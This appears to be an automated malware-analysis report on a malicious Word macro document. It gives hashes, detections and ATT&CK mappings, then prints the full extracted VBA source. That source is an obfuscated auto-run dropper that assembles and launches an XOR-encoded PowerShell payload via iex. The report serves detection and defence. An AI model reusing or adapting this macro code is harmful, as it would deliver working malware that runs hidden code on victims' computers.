Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 317f654db4cfe856…

MALICIOUS

Office (OLE)

102.8 KB Created: 2018-06-18 07:25:00 Authoring application: Microsoft Office Word First seen: 2018-06-25
MD5: 4e0b0cf7d0d8145ce17df7c456666262 SHA-1: 672f42618803b27b8acebde7806997ae0d8ca2ff SHA-256: 317f654db4cfe856c27c859f0c7a895119a5ef6befd532edc9e950803a48910b
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is configured to execute a PowerShell command, as indicated by the 'OLE_VBA_SHELL' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics. The ClamAV detection name 'Doc.Dropper.Agent-6592581-0' further supports its malicious nature as a dropper. The VBA code attempts to construct a PowerShell command using string concatenation, which is a common obfuscation technique.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6591638-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6591638-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    RrkjTn = 75351 + 19981
zSblL = YSHfSD + Shell(wPrcB + kcAnKTit + hjHUs, 12372 - 12372)
GQcdqv = fhujhs
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17751 bytes
SHA-256: 1fc46e91121180c2cc54f2fe9f80c4d77f57fea63253cbe07976d0b73a4dc147
Detection
ClamAV: No threats found
Obfuscation or payload: likely
261 of 504 identifiers look randomly generated (e.g. 'jMjrozijwYB') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QCZSHSYTHK"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function QvbRhSEr()
On Error Resume Next
YcThi = wHvuoN
qlSAh = 30545 / 65114
dAzNw = RPdskZ * CSng(40435 * Fix(86468)) * BjSfz + CSng(QTScX + CLng(qSvfm)) / (bzzVW * CSng(84136) - (19167 + Fix(MPbWB) - (25633 + CLng(wXKiRj - Log(NjfkZJ) - 52427 + Int(hNzYtt)))))
jMaVo = Atn(ArwbJ + Sin(uvkzUR) - 62977 / 72064)
iUKYtA = 94570 + 64020
iiqGjv = kFCaFG
SYvrj = 41635 / 24085
HMIAqa = VHqSd * CSng(45877 * Fix(96934)) * PPDmpY + CSng(sYcHb + CLng(nAOkw)) / (VHYiBX * CSng(36) - (50544 + Fix(wuKLLZ) - (95254 + CLng(zKZEl - Log(jYiwE) - 66231 + Int(chicd)))))
qlCPpw = Atn(uiRwQd + Sin(jQaYqk) - 74985 / 78721)
iJPNjB = 94121 + 30233
HwjSh = SOcYX
DQrFm = 54014 / 21466
vBikqu = CYRlN * CSng(65613 * Fix(74971)) * DUfoli + CSng(jzfqU + CLng(IJFawp)) / (FBKEpw * CSng(98881) - (3554 + Fix(VZAnKU) - (83458 + CLng(RBKiSf - Log(AZHuP) - 23483 + Int(RsrdB)))))
bwmiK = Atn(dGqhon + Sin(dJviM) - 74369 / 43111)
iasXMH = 11314 + 73260
mntDDE = iICSX
dzawUR = 61908 / 48622
WOfqf = XivdY * CSng(35936 * Fix(36049)) * ikHVkd + CSng(jCoOVG + CLng(YYwptJ)) / (tQqncc * CSng(70487) - (38217 + Fix(zFiAbH) - (21382 + CLng(MELqLq - Log(KwdKWi) - 66441 + Int(JOpUR)))))
IAFMDo = Atn(mGRQM + Sin(dpwuh) - 50281 / 27464)
zKsTG = 94552 + 66068
QvbRhSEr = BpWtYmcYl + Chr$(wHjjrsPM + 80 + PcBXvHMc) + "OwerSH" + nNqMR + ijwks + ImSvzVtuBrI + CESzSSiqF + SOsQNMotSG
tiQwC = czCjHh
msTHKV = 64303 / 62441
tDEfB = PjXdNU * CSng(59531 * Fix(56167)) * KZktQ + CSng(YwFln + CLng(mDMwOR)) / (tpwYCa * CSng(28210) - (47908 + Fix(oJYjQq) - (12147 + CLng(wRDiVH - Log(uOwcjL) - 63981 + Int(CzjdMA)))))
SBAtHw = Atn(GQwwj + Sin(zOzXiz) - 58845 / 78062)
LtKRFj = 20299 + 38391
ltMDv = ikQOzA
aSXnio = 62665 / 57600
WtqPH = AlrZk * CSng(68781 * Fix(5811)) * jwLPu + CSng(wzhvFI + CLng(XIhfUR)) / (IWImZD * CSng(99696) - (31596 + Fix(iwwjdD) - (5942 + CLng(mRMQYM - Log(JwkcdK) - 87744 + Int(SWsJq)))))
qrijI = Atn(wJcKTF + Sin(tCEPj) - 19552 / 24759)
jfkBoC = 23868 + 91033
End Function
Function GirjD(kcAnKTit)
On Error Resume Next
CCULmN = mILdJK
VWVOij = 62110 / 9406
IzdvP = LtdJR * CSng(60698 * Fix(35591)) * atBzb + CSng(fTwPdE + CLng(OQZoSP)) / (cujHj * CSng(4502) - (35754 + Fix(nEfUDA) - (66081 + CLng(ECmnbp - Log(NSKfz) - 55800 + Int(VzPPz)))))
JtQZHo = Atn(rkIAsj + Sin(Ulfccn) - 81713 / 41395)
ZIXFA = 27091 + 26840
wVoact = TNjdzW
HsLHMt = 66104 / 37805
oEuCma = IEDLqi * CSng(33444 * Fix(16365)) * Swpiis + CSng(LjEWwz + CLng(RBsMj)) / (rLtLL * CSng(5900) - (48858 + Fix(wwnZb) - (69728 + CLng(qzjLw - Log(jShDw) - 17860 + Int(mKzRlB)))))
HDiSb = Atn(ZMmRz + Sin(PLbEM) - 1973 / 69136)
RrkjTn = 75351 + 19981
zSblL = YSHfSD + Shell(wPrcB + kcAnKTit + hjHUs, 12372 - 12372)
GQcdqv = fhujhs
Ldzbl = 37220 / 23271
BSAOr = GhkFY * CSng(77204 * Fix(92515)) * wnRnk + CSng(RGjkMu + CLng(kzDIh)) / (EnIbf * CSng(92237) - (93806 + Fix(Bttzr) - (39558 + CLng(fHNXVm - Log(uiPBwV) - 41487 + Int(hzrbrV)))))
LmrosP = Atn(qnVaC + Sin(sqlLZ) - 9670 / 85416)
QGbufL = 12407 + 72867
End Function
Private Sub Document_open()
On Error Resume Next
plRTOr = oriinw
ufFXQB = 38112 / 585
mcOzJ = MHwBuj * CSng(9593 * Fix(95198)) * OzPFi + CSng(VKhjzc + CLng(VdVja)) / (qAcvR * CSng(75653) - (39770 + Fix(mjwvbY) - (86742 + CLng(sbGAV - Log(RhQLP) - 7553 + Int(SfKGpH)))))
mBwSJ = Atn(iiinVD + Sin(UludZ) - 86775 / 48025)
jWSPpq = 23254 + 60610
ZcNnz = HTJEv
hiptO = 77423 / 20335
iqsWsu = pPivwk * CSng(74185 * Fix(91897)) * uRoiO + CSng(vvCPMc + CLng(mOGIoi)) / (WUkuzo * CSng(36367) - (17284 + Fix(iFYsL) - (75813 + CLng(szhrv - Log(TdhQFd) - 30608 + Int(pvDSjZ)))))
ukaXms = Atn(JnkYw + Sin(NLGrhZ) - 2274 / 13049)
qLoRhl = 63919 + 62442
Application.Run dRTjMlBbWk + "GirjD" + YBzJJa, XjNcMUhpEY + QvbRhSEr + TsziuisEmut
sTAIwW = rFCFs
XZwGZP = 88755 / 68721
MlJYai = ritdk * CSng(97871 * Fix(34806)) * vkGQw + CSng(XYVGmR + CLng(BLWnJ)) / (IoSpN * CSng(29666) - (17649 + Fix(lQaKU) - (54838 + CLng(ltPKj - Log(oNoSnQ) - 5849 + Int(WWqacJ)))))
dvtAp = Atn(mHvvRp + Sin(PSGcdj) - 39025 / 52787)
ujhiW = 52017 + 59043
ROYUrw = ipkuIj
EocGiT = 17924 / 82348
wouwXT = iKXNL * CSng(22303 * Fix(49839)) * dHTkS + CSng(bRVlAE + CLng(hwKiV)) / (viGJaD * CSng(15913) - (16244 + Fix(frjLvG) - (90826 + CLng(kfwLV - Log(YNWPf) - 3041 + Int(MiqZi)))))
XwsjJd = Atn(mdEpIQ + Sin(iazZaa) - 14280 / 65910)
VbYbE = 29416 + 27099
End Sub


Attribute VB_Name = "OPhmjQz"
Function nNqMR()
On Error Resume Next
RYJNtr = Atn(bkDJhh + Sin(fYjNua) - 79224 / 84193)
isbAP = nbCnaI
sbszdA = 6724 / 85649
oHMHi = 50037 + 88394
NOBqA = fcNWd * CSng(53856 * Fix(70859)) * jTiIj + CSng(mZzqd + CLng(LFhEwa)) / (MPECKw * CSng(36055) - (36637 + Fix(nYGZkd) - (46333 + CLng(YZthSo - Log(KMGra) - 91301 + Int(XDhYv)))))
prqscBA = "ell " + " ( '121" + "t4" + "1D39" + "B12N42E40V57{" + "125<96t" + "125t51" + "V56<42%11"
FKIli = Atn(oXstGw + Sin(BLMdWS) - 25149 / 88050)
aQhtfM = dRAks
aXmmlo = 88703 / 19866
KsGdwW = 38739 + 57795
qZaRm = rIajL * CSng(94597 * Fix(97958)) * NfIBZS + CSng(BRpuR + CLng(tzBhY)) / (OBBaws * CSng(75640) - (69931 + Fix(NtzALD) - (87079 + CLng(qVuLvo - Log(kXVAz) - 16332 + Int(zmPkn)))))
SWQUM = "2<50c63D55B56" + "E62<41" + "E125c4" + "7%60N51D57%50V" + "48%102{121t14E2" + "5E20D40N5%39N" + "125<9"
BdlYKM = Atn(MBmbXJ + Sin(iuSMt) - 85575 / 57452)
dFNkdW = PdmmAH
LHzsa = 17654 / 51885
PEzHMn = 18041 + 86108
ZRPkl = vtAdiI * CSng(60508 * Fix(60096)) * HjzUt + CSng(MIwwH + CLng(oibGAs)) / (qQivb * CSng(18768) - (63888 + Fix(zHKVk) - (48419 + CLng(zjnozQ - Log(ISndQ) - 13587 + Int(YWhPW)))))
PnbYq = "6t125" + "t51{56{42V112{5" + "0<63E55t56{" + "62{41%1"
zwEhOW = Atn(nPJHE + Sin(BJwShV) - 36689 / 20795)
WEWlW = wlQKk
pQkEfq = 43514 / 48593
MGHwki = 7037 + 40176
iKuSd = RmUlQJ * CSng(40991 * Fix(18898)) * fIzDi + CSng(FdAiv + CLng(lcYwhI)) / (jajERo * CSng(23150) - (1557 + Fix(OqXqw) - (68094 + CLng(ciAmQ - Log(junhj) - 62835 + Int(vojAm)))))
iJpIPK = "25{" + "14V36E46E41{" + "56D48" + "N115<19N5"
nNqMR = prqscBA + SWQUM + PnbYq + iJpIPK
End Function
Function ijwks()
On Error Resume Next
NRiXnW = Atn(fMFBW + Sin(iwlcvC) - 97397 / 35639)
nlCOzj = odmtwj
QGNiJh = 68087 / 45362
kfcpi = 995 + 98709
CiSPE = nzJqO * CSng(32536 * Fix(81128)) * kzYQm + CSng(WvFIZ + CLng(EkHPAq)) / (CFrlG * CSng(64650) - (30032 + Fix(zbZvTb) - (65640 + CLng(cRONbA - Log(ZKpbC) - 5052 + Int(uqYtnz)))))
ZPJfWtiF = "6%41D115<10t" + "56D63" + "<30E49" + "E52%56" + "c51<"
MnBCGY = Atn(MbTcT + Sin(wBnjSm) - 84618 / 546)
BCvMIv = DRBZap
ScHEAz = 95698 / 62290
fMLwEv = 95496 + 70387
amBcJE = mwofN * CSng(72178 * Fix(76493)) * zFmHZ + CSng(Ydjjh + CLng(zlfbc)) / (mbczD * CSng(62261) - (68260 + Fix(zzJEM) - (88758 + CLng(vzwJp - Log(mBJUw) - 54355 + Int(QBRMCK)))))
zrRAmXN = "41B" + "102c121N25N15N" + "41N4c1" + "4%11D125D96" + "<125E122D5" + "3{41N41D45E4" + "6V103E114B114" + "E41%" + "47" + "%50c46%41%56E4"
FVjNb = Atn(PTKST + Sin(KPOvW) - 80024 / 15376)
jzbdAu = ARRUa
owikO = 67829 / 30334
comONk = 89230 + 31304
wmUYv = XKOuX * CSng(52257 * Fix(33921)) * jtskPU + CSng(azdkiP + CLng(kjvCk)) / (waoWBB * CSng(88047) - (81184 + Fix(fSRLw) - (6169 + CLng(VAfvb - Log(mroQm) - 20225 + Int(izVqiv)))))
QoHQmlPWb = "9E115E5" + "6D40V114t15V" + "111t7c9%53c46D4" + "6<45" + "V5" + "3N53{114B29N"
OQnop = Atn(BLmtqq + Sin(zhftws) - 25329 / 5429)
TJFVD = UMuVB
vJVaP = 72862 / 12935
SjVzT = 508 + 21727
DwAaX = Inwwr * CSng(70838 * Fix(67798)) * NrqSPw + CSng(dFVhP + CLng(QMmvj)) / (PcwaD * CSng(56382) - (50086 + Fix(MSScq) - (49043 + CLng(SiHBkM - Log(atftH) - 98206 + Int(bLDIjT)))))
zzbuprpikLQ = "53%41{" + "41D45V103D114" + "V114t42E42N42" + "t115D56%62<50N4" + "9%56" + "c63" + "%5" + "0c43{56c51V52<4" + "6B41B52B56{4" + "7V115B63V56{11"
ijwks = ZPJfWtiF + zrRAmXN + QoHQmlPWb + zzbuprpikLQ
End Function
Function ImSvzVtuBrI()
On Error Resume Next
FwcUoX = Atn(adRzmW + Sin(TTFdCD) - 9352 / 91029)
JwkCzz = iqUpsO
fVdipO = 61912 / 31065
GlCRJ = 89946 + 87101
JKoGHJ = dTOaP * CSng(8763 * Fix(45688)) * hkTtU + CSng(hDWMo + CLng(JHDRVs)) / (FIVzOu * CSng(84664) - (82414 + Fix(julKiM) - (40687 + CLng(qBZUcG - Log(uTJMV) - 29670 + Int(FWiSQL)))))
IOiWwNCsR = "4t45N59{25" + "c24<17<56t114B" + "29{53E41E41N4" + "5<103c"
VFMZJb = Atn(AEjSj + Sin(iqclGU) - 45228 / 36415)
iIQsLM = VlTpVa
nDRUJ = 4178 / 34954
sWlDYo = 27996 + 15560
JNwzKp = LzACda * CSng(81451 * Fix(32927)) * GpTNk + CSng(sRmkM + CLng(LIbjB)) / (boAAc * CSng(88183) - (7283 + Fix(rrMFS) - (60995 + CLng(jRzvu - Log(DVfMZc) - 68069 + Int(pZVbJP)))))
WdNzFXMIz = "114t114D43{50t" + "57V60{42" + "D56" + "V63" + "c115%55c" + "45t114B19N55%5" + "6<63t7D109N101%"
jNCYA = Atn(Jiizq + Sin(lhMmJ) - 61441 / 29848)
GkIoE = luRbnE
HkOaa = 41617 / 38642
HvBVzz = 69301 + 40413
rJzRJI = SMiNCJ * CSng(31211 * Fix(80640)) * dpPVB + CSng(zvHvVT + CLng(CUHJTZ)) / (LucNwA * CSng(56412) - (75846 + Fix(dwfLB) - (41061 + CLng(UznJM - Log(KOmVf) - 17776 + Int(GtprG)))))
FGHtHrzt = "114D29D53%4" + "1t41%4" + "5c103" + "<1" + "14B" + "114N4"
pjzJWf = Atn(kqCqR + Sin(kEaMq) - 78095 / 95912)
HFsmEZ = WMTwf
vFiqts = 87980 / 10454
WjRwN = 86721 + 53298
TkJbk = zwbzf * CSng(70464 * Fix(69212)) * toBErv + CSng(VhsKU + CLng(DwiNcs)) / (mAwMU * CSng(88513) - (73612 + Fix(qdHUSu) - (73515 + CLng(uJBfiw - Log(QQPPv) - 4231 + Int(kCsKot)))))
PBoShFuAW = "2%" + "42{42B" + "115c62B53E4" + "0B6" + "0E53{56E4" + "1<57" + "t60B40B63E40E"
klmuo = Atn(BJbTI + Sin(wMZGz) - 50878 / 495)
sJHbzN = SDvql
mIZzS = 52109 / 84587
MYdiMf = 52938 + 61225
AvIti = ScmKf * CSng(28289 * Fix(91074)) * ZjfiWp + CSng(VzBVsG + CLng(LjNdw)) / (FwiLul * CSng(7201) - (69003 + Fix(oALRnE) - (2726 + CLng(BEppiw - Log(YmMFR) - 11525 + Int(BSIjcC)))))
QnsCDoGk = "51D58E54" + "{52%51<5" + "3c115E62E" + "50N48{"
jqFGA = Atn(iGwQZF + Sin(jOzUAW) - 80433 / 61090)
NYVkG = hVWaP
JWKZbD = 68883 / 13998
OKtzH = 14240 + 68725
MKFcih = MobNTC * CSng(32052 * Fix(35707)) * jKlvG + CSng(BjOSX + CLng(jALTIW)) / (wBzUjo * CSng(12203) - (29691 + Fix(dSCws) - (62918 + CLng(wWoVJ - Log(VNLJi) - 62711 + Int(QtKjkU)))))
QsFJka = "11" + "4B" + "12D63t25{52<2" + "6D13<13" + "%13c11D30%114V" + "29N53V41c41" + "%45" + "<103<114c114V4" + "6E45{5"
zDinTY = Atn(MOsoTH + Sin(Npmic) - 32590 / 14082)
RuLSA = avpdF
XNYSJC = 96237 / 24500
vjZhD = 3671 + 92455
fNifuj = waLiWp * CSng(88249 * Fix(22526)) * dzIjni + CSng(PQVOmk + CLng(YBnQqA)) / (qpZikv * CSng(22561) - (91854 + Fix(bBYsDE) - (88273 + CLng(DBOOO - Log(SwMhn) - 56445 + Int(YDLnmK)))))
OzzzQF = "0<50c51c59D5" + "6B57<58N47V50N4" + "0V45B115t62V50" + "%48B114{10" + "7D15D46E53%16" + "B24E37t39<10" + "5V1"
ImSvzVtuBrI = IOiWwNCsR + WdNzFXMIz + FGHtHrzt + PBoShFuAW + QnsCDoGk + QsFJka + OzzzQF
End Function
Function CESzSSiqF()
On Error Resume Next
rQYKz = Atn(aAoLBK + Sin(YwMWs) - 83005 / 87373)
JjMRoF = PFHQM
WjuLAu = 92817 / 2379
TtTVLL = 26679 + 48520
KtaLf = PBPsO * CSng(3330 * Fix(76437)) * ZvFMX + CSng(jmmBE + CLng(UFwwq)) / (nwGBlG * CSng(41161) - (94390 + Fix(ualrf) - (61624 + CLng(taFzq - Log(ZXGZG) - 51882 + Int(JERCi)))))
TWrUs = "14t122V115D1" + "4{45{49N52" + "c41%117V1" + "22<29N122" + "V116%102D121B16" + "B2" + "7B57E51N40t7B" + "125c96E125E121E" + "41c39<12B42"
dQTAq = Atn(YpAAME + Sin(tYjzjA) - 92284 / 36445)
turuv = qFkFD
kODOb = 11284 / 5501
MEOhCC = 95679 + 65515
LloVh = wwwdzz * CSng(3451 * Fix(35790)) * HjsrHm + CSng(cNmWqw + CLng(rtDHl)) / (bdTYq * CSng(31714) - (13797 + Fix(mMlKl) - (32304 + CLng(TKGbl - Log(IaiKnB) - 60991 + Int(kwrQu)))))
wKawHjIT = "B40" + "%57N115%51V5" + "6{3" + "7t41D117D10" + "8D" + "113{125t110E1" + "09{109<1"
VvczJj = Atn(uGUobk + Sin(JANvKU) - 21883 / 72776)
DtzoM = zXaZA
YsufZl = 85316 / 90615
ZiwiV = 73865 + 63277
wKPwD = jFzcES * CSng(74966 * Fix(69462)) * RNmzV + CSng(rwvsAd + CLng(QUspY)) / (Rjfsq * CSng(40816) - (43034 + Fix(IIAlfp) - (52309 + CLng(VjoLGH - Log(TGDwi) - 79791 + Int(jPtkSX)))))
wJEfXzqwJP = "11t100%104E116V" + "102<121t41%4D" + "63D" + "52B11V54" + "E12" + "5t96c125B1" + "21V56E51{43t1" + "03B41%56E4" + "8V4"
WYipi = Atn(PTiWzv + Sin(JaZtu) - 68388 / 31285)
dkppJp = QzjaBZ
scTbUn = 19653 / 34649
ICFdaP = 60452 + 78120
CbjID = OEOJO * CSng(49430 * Fix(33286)) * qzUnC + CSng(mumlEP + CLng(pCwWMG)) / (BRQfI * CSng(9101) - (67453 + Fix(LPlIr) - (60835 + CLng(dFcdq - Log(IpzDo) - 33964 + Int(BPmBT)))))
itnsFdFsjC = "5%1" + "25V118D125t12" + "2{1N122c1" + "25E"
UqzaI = Atn(TtjknS + Sin(Xzrho) - 9207 / 48174)
bRlhfn = wSnju
WIkJj = 82023 / 55702
zHPHz = 54773 + 42482
RCHdvP = JKFBm * CSng(86816 * Fix(29491)) * jAlid + CSng(DptTKV + CLng(FfMpa)) / (Smhjui * CSng(5839) - (77058 + Fix(VAnZi) - (3033 + CLng(HMzswO - Log(OJltt) - 8735 + Int(sLMIwT)))))
AKlaXPVCzv = "118t125" + "D1" + "21D16c" + "27N57{51B40N"
Hzvvq = Atn(Nmjbi + Sin(YZtQL) - 36799 / 87144)
hwiQLz = qcaQCj
daXOjL = 97347 / 40079
dBGaf = 14504 + 87642
iUruh = iOQYrq * CSng(9654 * Fix(9426)) * Bktkd + CSng(PAYiws + CLng(ijDjj)) / (wwunz * CSng(79353) - (75327 + Fix(BOpDPY) - (65692 + CLng(qmXQa - Log(TTPiF) - 53923 + Int(hVHHlI)))))
WBaPMsp = "7t1" + "25E" + "118B125%122N1" + "15%56c37E56c122" + "{102V59D50D47D5" + "6B60V6"
CESzSSiqF = TWrUs + wKawHjIT + wJEfXzqwJP + itnsFdFsjC + AKlaXPVCzv + WBaPMsp
End Function
Function SOsQNMotSG()
On Error Resume Next
hPSzY = Atn(JIaSO + Sin(FtKYN) - 47075 / 83160)
RmfUzW = Otzqd
acsCX = 62690 / 98471
oAmDKn = 8638 + 92595
rbsjZj = fLstB * CSng(59979 * Fix(7423)) * McAaj + CSng(cizqjO + CLng(HnjolI)) / (oTQTKQ * CSng(90563) - (8923 + Fix(niIwj) - (82036 + CLng(niMvOz - Log(pqRNXY) - 21674 + Int(QWQOt)))))
jMjrozijwYB = "2c53{117{121{15" + "N22N" + "52D20%60%15N1" + "25N52B51{125" + "V121V25%15B41" + "c4{14V11V116t38" + "V4" + "1N47t" + "36B38"
EAtjDc = Atn(mjwfd + Sin(oMido) - 85603 / 90312)
MLuos = MAaFGn
LROUW = 42838 / 48468
hPzzGS = 34146 + 89752
JsWVkE = ParUb * CSng(82348 * Fix(77964)) * tTinvi + CSng(iNmtN + CLng(DRNhnZ)) / (nwbmBq * CSng(57826) - (44086 + Fix(JJqbMG) - (73899 + CLng(izNtKJ - Log(rriMIi) - 74946 + Int(RMzvsw)))))
RQqNE = "t121V14c25<20<" + "40D5E39<1" + "15t25E50t42E51D" + "49E50t60V57N2" + "7E52<49B56t" + "117{12" + "1<" + "15<" + "22V52B20%60D1"
BvtWNq = Atn(lzXjY + Sin(HOSPqV) - 60990 / 62651)
wvCLdL = hdOcwz
tVwaQi = 33295 / 99648
wPdBj = 98075 + 9443
WGzBct = fOhGiX * CSng(39511 * Fix(72858)) * oLuziC + CSng(lHFNBk + CLng(mXUlp)) / (unQBd * CSng(40896) - (22926 + Fix(AJhdd) - (86078 + CLng(YEFuU - Log(NuWfh) - 89311 + Int(uiJlih)))))
tJJCjIioQEo = "5%115c9E50V14t" + "41%47c52" + "{51<58B117<116" + "D113"
WOoiw = Atn(VPGLkC + Sin(pOYJmq) - 36603 / 81636)
PwlpsX = CIOmhf
jGBoG = 93878 / 28001
ICojQu = 90556 + 17797
JICXZ = ZfUzbl * CSng(54474 * Fix(79935)) * kHfJsR + CSng(wtanY + CLng(wBEApt)) / (CbnJuD * CSng(66984) - (14935 + Fix(XKjNsv) - (16996 + CLng(lQkFL - Log(zmOzh) - 37142 + Int(aviztJ)))))
fUEpGl = "D125B1" + "21{41<4D63%52c" + "11<54" + "N1" + "16E102D1" + "4c41{6" + "0B47%41<11"
rCBDl = Atn(GTdWVS + Sin(pzQQF) - 47937 / 42307)
mRlqj = TXhCT
rolDKF = 64645 / 47768
MibCM = 44651 + 48851
Cqdwh = hIrZBI * CSng(90997 * Fix(72888)) * DzrwG + CSng(cjJsdt + CLng(NDkrY)) / (vuLup * CSng(87183) - (41091 + Fix(WNfWH) - (51965 + CLng(YFUaS - Log(ZJUGEp) - 20207 + Int(ooKkpp)))))
cGkcBQ = "2%13E47t50D62{5" + "6N" + "46D46E125" + "<121E41N4B63E52" + "<11E54V1" + "02N6"
NaFtU = Atn(qIwRE + Sin(pbCtZ) - 52666 / 3306)
LBEXb = UWrhjp
zOjir = 9602 / 82305
rjiXBF = 83143 + 46515
iRTlzO = zaXYu * CSng(13847 * Fix(69486)) * hSIuz + CSng(YVCuAE + CLng(fJAqA)) / (HARFho * CSng(6522) - (47022 + Fix(fuvjz) - (58898 + CLng(izwbAG - Log(RqwKMT) - 31824 + Int(iuicC)))))
PkSaimTZ = "3<47B" + "56N60" + "t54c102<32N62%" + "60t41%62%53<38c" + "42c47N52D41" + "E56" + "V112N53{50%46" + "{41V125V12"
KkSEl = Atn(mNczj + Sin(bjzNLT) - 97032 / 68503)
dqYniK = XKznBP
siiks = 79887 / 25248
JshFn = 57934 + 79063
pUDaz = zrbCP * CSng(50112 * Fix(67558)) * zMjzOG + CSng(CsuMBq + CLng(BYDaB)) / (WhBwiK * CSng(41435) - (59877 + Fix(iRPVM) - (90110 + CLng(YqPio - Log(cIOvZc) - 79990 + Int(zoYwZ)))))
wwhjDl = "1c2N115E24" + "c37t62V56" + "B45c41N5" + "2B50"
BJQjG = Atn(jHKim + Sin(QzYCop) - 97728 / 76124)
cMcKWv = SCBMY
XKDwM = 88137 / 63588
QPwBJD = 73013 + 55457
zpKRB = UsLYhz * CSng(12539 * Fix(13772)) * wVKpAV + CSng(ipMRT + CLng(rjJtAl)) / (zTsnoq * CSng(9376) - (52881 + Fix(hjKIFF) - (75934 + CLng(wcjmHV - Log(jQfBf) - 29274 + Int(zUjscc)))))
vwfauhw = "%51<115{16" + "t56D46D4" + "6N" + "60B58%56V102B32" + "c3" + "2'"
Mrjlf = Atn(jnpSt + Sin(iFKNko) - 60568 / 91739)
jObQur = FjDih
uMFif = 72080 / 55823
GzPmwq = 51912 + 35623
DdpSdw = ntOzS * CSng(65548 * Fix(41012)) * iuBFk + CSng(olOcRN + CLng(JODGWl)) / (wVDRT * CSng(9313) - (29210 + Fix(wZJYc) - (10868 + CLng(DpViF - Log(raqMl) - 48525 + Int(iLtvzL)))))
XfYLKkvE = " -sPlIt'N" + "' -spLi" + "T'b' -sPLiT'V" + "'-SPLIT'E'-Sp" + "lIt't' -sPlit '" + "D' -sPLi" + "T '%'-SpLit'" + "c' -SPLIt" + "'<' -SPLit " + "'{' | FoREa"
TwoQf = Atn(hwlwi + Sin(kCmEn) - 99686 / 30568)
itqVsM = UFJmo
ozqRsj = 22143 / 86759
lXTAq = 46080 + 38588
IGRPDR = dDzlDA * CSng(17827 * Fix(8759)) * UnOwH + CSng(lwOCJ + CLng(lioNIp)) / (HJBrZ * CSng(65056) - (53842 + Fix(DzdDbS) - (2667 + CLng(CJVpHV - Log(BAHps) - 40222 + Int(XuKlz)))))
jjGKSfZB = "ch-OBJ" + "ECt{[CHar] ($_" + "-b" + "XOR '0x5d')})-j" + "oin'' |" + "iex"
SOsQNMotSG = jMjrozijwYB + RQqNE + tJJCjIioQEo + fUEpGl + cGkcBQ + PkSaimTZ + wwhjDl + vwfauhw + XfYLKkvE + jjGKSfZB
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.